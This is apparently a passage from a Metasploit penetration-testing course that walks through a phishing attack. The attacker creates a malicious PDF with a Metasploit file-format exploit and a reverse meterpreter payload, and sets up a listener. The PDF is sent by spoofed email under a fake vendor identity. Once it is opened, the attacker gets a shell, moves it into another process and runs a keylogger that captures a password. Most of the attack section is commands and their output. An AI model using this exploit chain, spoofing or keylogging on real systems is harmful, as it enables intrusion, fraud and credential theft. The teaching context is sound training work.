course starting at
Take Penetration Testing with Kali Linux to gain invaluable penetration testing skills and earn your OSCP.
As we have already discussed, Metasploit has many uses and another one we will discuss here is client side exploits. To show the power of how MSF can be used in client side exploits we will use a story.
In the security world, social engineering has become an increasingly used attack vector. Even though technologies are changing, one thing that seems to stay the same is the lack of security with people. Due to that, social engineering has become a very “hot” topic in the security world today.
In our first scenario our attacker has been doing a lot of information gathering using tools such as the Metasploit Framework, Maltego and other tools to gather email addresses and information to launch a social engineering client side exploit on the victim.
After a successful dumpster dive and scraping for emails from the web, he has gained two key pieces of information.
1) They use “Best Computers” for technical services.
2) The IT Dept has an email address of email@example.com
We want to gain shell on the IT Departments computer and run a key logger to gain passwords, intel or any other juicy tidbits of info.
We start off by loading our msfconsole. After we are loaded we want to create a malicious PDF that will give the victim a sense of security in opening it. To do that, it must appear legit, have a title that is realistic, and not be flagged by anti-virus or other security alert software.
So we start by creating our malicious PDF file for use in this client side exploit.
msf > use exploit/windows/fileformat/adobe_utilprintf msf exploit(adobe_utilprintf) > set FILENAME BestComputers-UpgradeInstructions.pdf FILENAME => BestComputers-UpgradeInstructions.pdf msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(adobe_utilprintf) > set LHOST 192.168.8.128 LHOST => 192.168.8.128 msf exploit(adobe_utilprintf) > set LPORT 4455 LPORT => 4455 msf exploit(adobe_utilprintf) > show options Module options (exploit/windows/fileformat/adobe_utilprintf): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME BestComputers-UpgradeInstructions.pdf yes The file name. Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.8.128 yes The listen address LPORT 4455 yes The listen port Exploit target: Id Name -- ---- 0 Adobe Reader v8.1.2 (Windows XP SP3 English)
Once we have all the options set the way we want, we run exploit to create our malicious file.
msf exploit(adobe_utilprintf) > exploit [*] Creating 'BestComputers-UpgradeInstructions.pdf' file... [*] BestComputers-UpgradeInstructions.pdf stored at /root/.msf4/local/BestComputers-UpgradeInstructions.pdf msf exploit(adobe_utilprintf) >
So we can see that our pdf file was created in a sub-directory of where we are. So lets copy it to our /tmp directory so it is easier to locate later on in our exploit. Before we send the malicious file to our victim we need to set up a listener to capture this reverse connection. We will use msfconsole to set up our multi handler listener.
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LPORT 4455 LPORT => 4455 msf exploit(handler) > set LHOST 192.168.8.128 LHOST => 192.168.8.128 msf exploit(handler) > exploit [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Starting the payload handler...
Now that our listener is waiting to receive its malicious payload we have to deliver this payload to the victim and since in our information gathering we obtained the email address of the IT Department we will use a handy little script called sendEmail to deliver this payload to the victim. With a kung-fu one-liner, we can attach the malicious pdf, use any smtp server we want and write a pretty convincing email from any address we want….
root@kali:~# sendEmail -t firstname.lastname@example.org -f email@example.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf Reading message body from STDIN because the '-m' option was not used. If you are manually typing in a message: - First line must be received within 60 seconds. - End manual input with a CTRL-D on its own line. IT Dept, We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems. Sincerely, Best Computers Tech Support Aug 24 17:32:51 kali sendEmail: Message input complete. Aug 24 17:32:51 kali sendEmail: Email was sent successfully!
As we can see here, the script allows us to put any FROM (-f) address, any TO (-t) address, any SMTP (-s) server as well as Titles (-u) and our malicious attachment (-a). Once we do all that and press enter we can type any message we want, then press CTRL+D and this will send the email out to the victim.
Now on the victim’s machine, our IT Department employee is getting in for the day and logging into his computer to check his email.
He sees the very important document and copies it to his desktop as he always does, so he can scan this with his favorite anti-virus program.
As we can see, it passed with flying colors so our IT admin is willing to open this file to quickly implement these very important upgrades. Clicking the file opens Adobe but shows a greyed out window that never reveals a PDF. Instead, on the attackers machine what is revealed….
[*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Starting the payload handler... [*] Sending stage (718336 bytes) session[*] Meterpreter session 1 opened (192.168.8.128:4455 -> 192.168.8.130:49322) meterpreter >
We now have a shell on their computer through a malicious PDF client side exploit. Of course what would be wise at this point is to move the shell to a different process, so when they kill Adobe we don’t lose our shell. Then obtain system info, start a key logger and continue exploiting the network.
meterpreter > ps Process list ============ PID Name Path --- ---- ---- 852 taskeng.exe C:\Windows\system32\taskeng.exe 1308 Dwm.exe C:\Windows\system32\Dwm.exe 1520 explorer.exe C:\Windows\explorer.exe 2184 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe 2196 VMwareUser.exe C:\Program FilesVMware\VMware Tools\VMwareUser.exe 3176 iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe 3452 AcroRd32.exe C:\Program Files\AdobeReader 8.0\ReaderAcroRd32.exe meterpreter > run post/windows/manage/migrate [*] Running module against V-MAC-XP [*] Current server process: svchost.exe (1076) [*] Migrating to explorer.exe... [*] Migrating into process ID 816 [*] New server process: Explorer.EXE (816) meterpreter > sysinfo Computer: OFFSEC-PC OS : Windows Vista (Build 6000, ). meterpreter > use priv Loading extension priv...success. meterpreter > run post/windows/capture/keylog_recorder [*] Executing module against V-MAC-XP [*] Starting the keystroke sniffer... [*] Keystrokes being saved in to /root/.msf4/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt [*] Recording keystrokes... root@kali:~# cat /root/.msf4/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt Keystroke log started at Wed Mar 23 09:18:36 -0600 2011 Support, I tried to open ti his file 2-3 times with no success. I even had my admin and CFO tru y it, but no one can get it to p open. I turned on the rmote access server so you can log in to fix our p this problem. Our user name is admin and password for that session is 123456. Call or eme ail when you are done. Thanks IT Dept